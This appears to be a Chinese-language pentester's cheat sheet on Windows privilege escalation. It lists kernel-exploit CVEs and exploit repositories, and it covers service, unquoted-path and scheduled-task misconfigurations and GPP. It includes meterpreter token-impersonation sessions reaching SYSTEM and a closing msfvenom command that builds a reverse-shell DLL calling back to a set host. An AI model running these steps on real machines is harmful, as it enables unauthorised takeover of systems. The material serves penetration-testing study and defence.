说明
- 横向提权:获取同级别角色的权限
- 纵向提权:低权限角色获得高权限角色的权限
常用提权方法:
- 系统内核溢出漏洞提权
- 数据库提权
- 错误的系统配置提权
- 组策略首选项提权
- WEB中间件漏洞提权
- DLL劫持提权
- 滥用高危权限令牌提权
- 第三方软件/服务提权等
一.系统内核溢出漏洞提权
查找相应补丁:
//手工查找补丁
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn
//msf查找
post/windows/gather/enum_patches
1.补丁检测工具
https://github.com/ianxtianxt/win-exp-
https://github.com/bitsadmin/wesng
先升级

导出systeminfo

b.txt:

2.漏洞库
- Kernelhubhttps://github.com/Ascotbe/Kernelhub
- windows-kernel-exploits-masterhttps://github.com/SecWiki/windows-kernel-exploits
- Windows-exploitshttps://github.com/lyshark/Windows-exploits
常用系统漏洞CVE:
#Windows10
CVE-2020-0796 https://www.cnblogs.com/-chenxs/p/12618678.html
#Windows7/2008
CVE-2018-8120 https://www.cnblogs.com/-mo-/p/11404598.html
#Windows7/8、2008/2012/2016
CVE-2017-0213 https://www.cnblogs.com/-mo-/p/11446144.html
#SQL Server、IIS通杀 (针对本地用户的,不能用于域用户)
MS16-075(RottenPotato) https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
#持续更新中......
二.系统配置错误提权
windows系统服务文件在操作系统启动时加载和运行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。windows服务是以system权限运行的,因此,其文件夹,文件和注册表键值都是受强访问控制机制保护的。但是在一些情况下操作系统中任然存在一些没有得到有效保护的服务.
系统服务权限配置错误有如下两种可能:
- 服务未启动:攻击者可以使用任意服务替换原来的服务,然后重启服务
- 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用dll劫持技术并尝试重启服务来提权
1.系统服务权限配置错误
Windows在系统启动时,会伴随着一些高权服务启动,倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持
1.Powershell中的PowerUp脚本
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
2.Metasploit中的攻击模块 #需要提前获取一个session
exploit/windows/local/service_permissions
2.可信任服务路径漏洞
如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的
#寻找存在漏洞的服务
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
#msf攻击模块
exploit/windows/local/trusted_service_path
#正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
set AutoRunScript migrate -f
3.计划任务
如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行恶意程序。
#查看计算机的计划任务 schtasks /query /fo LIST /v #查看指定目录的权限配置情况 accesschk.exe -dqv "D:\test" -accepteula
三.组策略首选项提权
组策略首选项(Group Policy Preferences,GPP)
参考别的博主
https://blog.csdn.net/qq_36119192/article/details/104344105
四.绕过UAC提权
参考另外一个师傅
https://www.cnblogs.com/backlion/p/10552137.html
五.令牌窃取
1.已经获取到一个session
#已经获取到一个session #方法一 meterpreter > use incognito ...... meterpreter > list_tokens -u WIN-2HU3N1\Administrator meterpreter > impersonate_token WIN-2HU3N1\\Administrator #注意:这里是两个反斜杠\\ Successfully...... meterpreter > shell C:\User\Administrator>whoami WIN-2HU3N1\Administrator
2.借用Rotten potato程序
#方法二,借用Rotten potato程序 https://github.com/foxglovesec/RottenPotato.git meterpreter > use incognito meterpreter > list_tokens -u WIN-2HU3N1\Administrator meterpreter > upload /root/Rottenpotato/rottenpotato.exe Successfully meterpreter > execute -HC -f rottenpotato.exe Successfully meterpreter > getuid ...NT AUTHORITY\SYSTEM
六.无凭证条件下的权限提升
略
https://github.com/SpiderLabs/Responder
七.webshell提权
1.sweetpotato
https://github.com/uknowsec/SweetPotato

2.getSystem-master
https://github.com/uknowsec/getSystem

八.DLL注入提权
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.9 LPORT=5555 -f dll -o rev.dll
next